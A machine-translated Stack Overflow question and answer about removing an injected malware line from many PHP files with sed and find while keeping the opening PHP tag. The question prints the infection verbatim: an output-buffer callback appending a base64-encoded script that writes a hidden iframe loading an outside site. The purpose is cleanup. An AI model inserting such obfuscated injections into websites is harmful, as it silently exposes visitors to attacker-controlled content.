我正在尝试对所有 .php 文件进行大量搜索并替换为以下字符串以清除恶意软件:
<?php ob_start("security_update"); function security_update($buffer){return $buffer.base64_decode('PHNjcmlwdD5kb2N1bWVudC53cml0ZSgnPHN0eWxlPi52Yl9zdHlsZV9mb3J1bSB7ZmlsdGVyOiBhbHBoYShvcGFjaXR5PTApO29wYWNpdHk6IDAuMDt3aWR0aDogMjAwcHg7aGVpZ2h0OiAxNTBweDt9PC9zdHlsZT48ZGl2IGNsYXNzPSJ2Yl9zdHlsZV9mb3J1bSI+PGlmcmFtZSBoZWlnaHQ9IjE1MCIgd2lkdGg9IjIwMCIgc3JjPSJodHRwOi8vd3d3Lml3cy1sZWlwemlnLmRlL2NvbnRhY3RzLnBocCI+PC9pZnJhbWU+PC9kaXY+Jyk7PC9zY3JpcHQ+');}
我可以通过 sed '/buffer.base64_decode/d' file.php
删除整行.但是,我仍然需要开口 <?php
所以真正需要做的是搜索和替换buffer.base64_decode
对于 <?php
在这台邪恶的电脑前度过漫长的一天后,我的脑子里全是土 bean 泥。
或者也许我认为自己陷入了一个小盒子里,而我所做的一切都是错误的?
最佳答案
不是删除该行,您不是简单地更改它吗?以下是使用 GNU sed
的方法:
sed -i '/buffer.base64_decode/c \<?php ' file.php
现在对于您工作目录中的所有文件:
find . -type f -name "*.php" -exec sed -i '/buffer.base64_decode/c \<?php ' {} \;
关于regex - 如何通过 sed/perl 删除行同时保留某些字符?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/13041537/